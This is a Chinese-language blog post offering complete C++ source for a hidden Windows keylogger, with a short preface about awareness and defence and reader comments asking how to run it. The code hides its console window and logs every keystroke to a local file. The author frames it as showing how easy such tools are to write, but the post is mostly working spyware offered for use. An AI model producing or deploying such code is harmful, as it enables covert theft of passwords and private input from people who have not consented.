覺得它的應用應該可以更廣
與其拿來做犯罪的事
應該還可以拿來作外掛,或者系統入侵偵測之類的
還有可以看小朋友是否有上些不好的網站
只能說所謂的工具可以是好的,同時也可以拿來做壞事
目前所謂鍵盤側錄的軟體,你也無法確定它內部是否帶有病毒
最好的方法還是自己寫。
如果覺得不喜歡可以寄信給我
就會把程式碼移除掉了
所以在這邊開放原始碼
基本上是希望大家知道,這樣一個程式有多麼的好寫
所以平常要如何防護
基本上我這個簡單的範例 使用的記憶體不多
但在工作管理員中也是看的到的
另外是防毒幾乎可以很快的判斷出這是有問題的把它砍掉
所以最好的防護還是當一個勤勞的使用者
平常要注意看看有沒有奇怪的執行檔在執行
#include <iostream>
#include <windows.h>
#include <Winuser.h>
#include <ctime>
#include <time.h>
using namespace std;
int Save(int key_stroke, char *file);
void Stealth();
int main()
{
//讀出鍵盤狀態
Stealth();
char i;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen("LOG.TXT", "a+");
BYTE bKeys;
//檢查按鍵是否開啟
bKeys = GetKeyState(VK_NUMLOCK);
if(bKeys)
{
fprintf(OUTPUT_FILE,"%s","[Num lock 開啟ing ]\n");
}
bKeys = GetKeyState(VK_CAPITAL);
if(bKeys)
{
fprintf(OUTPUT_FILE,"%s","[Caps lock 開啟ing ]\n");
}
while (1)
{
time_t firstSeconds,lastSeconds;
lastSeconds = time (NULL);
for(i=8;i<=190;i++)
{
firstSeconds = time (NULL);
if(GetAsyncKeyState(i) == -32767)
Save(i,"LOG.TXT");
}
//代表一陣子鍵盤沒有輸入任何字串
if (lastSeconds-firstSeconds>=10)
fprintf(OUTPUT_FILE,"%s","\n\n");
}
system("PAUSE");
return 0;
}
/* ********************************** */
/* ********************************** */
int Save(int key_stroke, char *file)
{
if( (key_stroke==1) || (key_stroke==2) )
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
cout<
int bKeys;
bKeys = GetKeyState(VK_CAPITAL);
//修改特殊按鍵問題
if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]" );
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n" );
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " " );
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]" );
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]" );
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CTRL]" );
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESC]" );
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]" );
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]" );
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]" );
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]" );
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]" );
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]" );
else if (key_stroke==VK_CAPITAL)
fprintf(OUTPUT_FILE, "%s", "[Caps Lock]" );
else if (key_stroke==VK_NUMLOCK)
fprintf(OUTPUT_FILE, "%s", "[Num Lock]" );
//修改右側小鍵盤問題
else if (key_stroke == VK_NUMPAD0)
fprintf(OUTPUT_FILE, "%s", "0" );
else if (key_stroke == VK_NUMPAD1)
fprintf(OUTPUT_FILE, "%s", "1" );
else if (key_stroke == VK_NUMPAD2)
fprintf(OUTPUT_FILE, "%s", "2" );
else if (key_stroke == VK_NUMPAD3)
fprintf(OUTPUT_FILE, "%s", "3" );
else if (key_stroke == VK_NUMPAD4)
fprintf(OUTPUT_FILE, "%s", "4" );
else if (key_stroke == VK_NUMPAD5)
fprintf(OUTPUT_FILE, "%s", "5" );
else if (key_stroke == VK_NUMPAD6)
fprintf(OUTPUT_FILE, "%s", "6" );
else if (key_stroke == VK_NUMPAD7)
fprintf(OUTPUT_FILE, "%s", "7" );
else if (key_stroke == VK_NUMPAD8)
fprintf(OUTPUT_FILE, "%s", "8" );
else if (key_stroke == VK_NUMPAD9)
fprintf(OUTPUT_FILE, "%s", "9" );
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", "." );
//一般文字大小寫問題
else if (bKeys==0 && key_stroke>=65)
{
key_stroke=key_stroke+32;
fprintf(OUTPUT_FILE, "%s", &key_stroke);
}
else
fprintf(OUTPUT_FILE, "%s", &key_stroke );
fclose(OUTPUT_FILE);
return 0;
}
/* ********************************** */
/* ********************************** */
void Stealth()
{
HWND stealth;
AllocConsole();
stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(stealth,0);
}
for(i=8;i<=190;i++)
回覆刪除這邊的lt是甚麼?
貼錯行
刪除for(i=8;i<=190;i++)
這邊的lt還有;=是甚麼意思
作者已經移除這則留言。
回覆刪除將記錄存至檔案是哪一行?
回覆刪除如果我想要讓他執行 該怎麼做? 將紀錄的鍵盤側錄 執行
回覆刪除作者已經移除這則留言。
回覆刪除作者已經移除這則留言。
回覆刪除"& l t ; "等等的全部都是html轉換錯誤的碼,所以要自己過濾哦
回覆刪除